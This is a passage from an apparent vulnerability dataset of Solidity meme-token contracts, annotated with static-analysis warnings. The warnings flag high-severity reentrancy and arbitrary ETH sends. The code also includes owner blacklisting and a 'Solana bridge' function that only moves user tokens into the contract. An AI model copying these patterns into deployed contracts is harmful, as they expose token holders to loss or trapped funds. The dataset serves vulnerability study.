"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Plank is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cb5fbff): Plank._taxWallet should be immutable \n\t// Recommendation for cb5fbff: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f4920f): Plank._initialBuyTax should be constant \n\t// Recommendation for 7f4920f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 321ee2e): Plank._initialSellTax should be constant \n\t// Recommendation for 321ee2e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: af33ad1): Plank._reduceBuyTaxAt should be constant \n\t// Recommendation for af33ad1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb621eb): Plank._reduceSellTaxAt should be constant \n\t// Recommendation for bb621eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92be793): Plank._preventSwapBefore should be constant \n\t// Recommendation for 92be793: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 21;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Talking Plank\";\n\n string private constant _symbol = unicode\"PLANK\";\n\n uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a1f850): Plank._taxSwapThreshold should be constant \n\t// Recommendation for 4a1f850: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 5000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c940590): Plank._maxTaxSwap should be constant \n\t// Recommendation for c940590: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 5000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event SolanaBridgeTransfer(\n address indexed from,\n uint256 solanaAddress,\n uint256 amount\n );\n\n bool public bridgeToSolanaOpen = false;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b3106f1): Plank.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b3106f1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a7c2303): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a7c2303: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 00dadb4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 00dadb4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: a7c2303\n\t\t// reentrancy-benign | ID: 00dadb4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: a7c2303\n\t\t// reentrancy-benign | ID: 00dadb4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b753617): Plank._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b753617: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 00dadb4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: a7c2303\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 11f7cd6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 11f7cd6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6c3d7d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6c3d7d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 11f7cd6\n\t\t\t\t// reentrancy-eth | ID: 6c3d7d0\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 11f7cd6\n\t\t\t\t\t// reentrancy-eth | ID: 6c3d7d0\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6c3d7d0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6c3d7d0\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6c3d7d0\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 11f7cd6\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6c3d7d0\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6c3d7d0\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 11f7cd6\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 11f7cd6\n\t\t// reentrancy-events | ID: a7c2303\n\t\t// reentrancy-benign | ID: 00dadb4\n\t\t// reentrancy-eth | ID: 6c3d7d0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f2562c6): Plank.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f2562c6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 11f7cd6\n\t\t// reentrancy-events | ID: a7c2303\n\t\t// reentrancy-eth | ID: 6c3d7d0\n\t\t// arbitrary-send-eth | ID: f2562c6\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cfcdb2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cfcdb2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ab37ce): Plank.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0ab37ce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 267264e): Plank.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 267264e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4ea425d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4ea425d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: cfcdb2c\n\t\t// reentrancy-eth | ID: 4ea425d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: cfcdb2c\n\t\t// unused-return | ID: 0ab37ce\n\t\t// reentrancy-eth | ID: 4ea425d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: cfcdb2c\n\t\t// unused-return | ID: 267264e\n\t\t// reentrancy-eth | ID: 4ea425d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: cfcdb2c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 4ea425d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function openBridgeToSolana() external onlyOwner {\n bridgeToSolanaOpen = true;\n }\n\n function closeBridgeToSolana() external onlyOwner {\n bridgeToSolanaOpen = false;\n }\n\n function transferToSolana(\n uint256 amount,\n uint256 solanaAddress\n ) external returns (bool) {\n require(bridgeToSolanaOpen, \"Bridge is not open\");\n\n require(amount > 0, \"Amount must be greater than zero\");\n\n require(solanaAddress != 0, \"Invalid Solana address\");\n\n require(_balances[msg.sender] >= amount, \"Insufficient balance\");\n\n _balances[msg.sender] = _balances[msg.sender].sub(amount);\n\n _balances[address(this)] = _balances[address(this)].add(amount);\n\n emit SolanaBridgeTransfer(msg.sender, solanaAddress, amount);\n\n emit Transfer(msg.sender, address(this), amount);\n\n return true;\n }\n}\n",
"file_name": "solidity_code_10025.sol",
"size_bytes": 21370,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ncontract DOGECKO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ed5c6f): DOGECKO._initialBuyTax should be constant \n\t// Recommendation for 7ed5c6f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32177a7): DOGECKO._initialSellTax should be constant \n\t// Recommendation for 32177a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 800b2e0): DOGECKO._finalBuyTax should be constant \n\t// Recommendation for 800b2e0: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2781d66): DOGECKO._finalSellTax should be constant \n\t// Recommendation for 2781d66: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 118522a): DOGECKO._reduceBuyTaxAt should be constant \n\t// Recommendation for 118522a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 349a964): DOGECKO._reduceSellTaxAt should be constant \n\t// Recommendation for 349a964: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: a5976ad): DOGECKO._preventSwapBefore should be constant \n\t// Recommendation for a5976ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Dog of Wall Street\";\n\n string private constant _symbol = unicode\"DOGECKO\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6f057b): DOGECKO._taxSwapThreshold should be constant \n\t// Recommendation for e6f057b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1fd864c): DOGECKO._maxTaxSwap should be constant \n\t// Recommendation for 1fd864c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 5000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: dcc27a6): DOGECKO._taxWallet should be immutable \n\t// Recommendation for dcc27a6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: af45445): DOGECKO.burnExclLim should be constant \n\t// Recommendation for af45445: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 45ea2e5): DOGECKO.burnExclLim is never initialized. It is used in DOGECKO._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 45ea2e5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnExclLim;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private limitsInEffect = true;\n\n struct BurnBoundLimit {\n uint256 burnIndc;\n uint256 burnUps;\n uint256 burnSp;\n }\n\n uint256 private minLimBound;\n\n mapping(address => BurnBoundLimit) private burnBoundLimit;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event ClearToken(address tokenAddr, uint256 tokenAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x6418FB9daD1df067f2b6Ea55f9Aa335B5D1e8686);\n\n _balances[_msgSender()] = _tTotal;\n\n isExcludedFromFee[address(this)] = true;\n\n isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a9f526e): DOGECKO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a9f526e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 629e611): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 629e611: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bd324a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bd324a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 629e611\n\t\t// reentrancy-benign | ID: bd324a9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 629e611\n\t\t// reentrancy-benign | ID: bd324a9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 90eb23f): DOGECKO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 90eb23f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: bd324a9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 629e611\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 533edfa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 533edfa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: be753ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for be753ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 64a9c49): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 64a9c49: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n bool isBuy = from == uniswapPair;\n\n bool isSell = to == uniswapPair;\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n 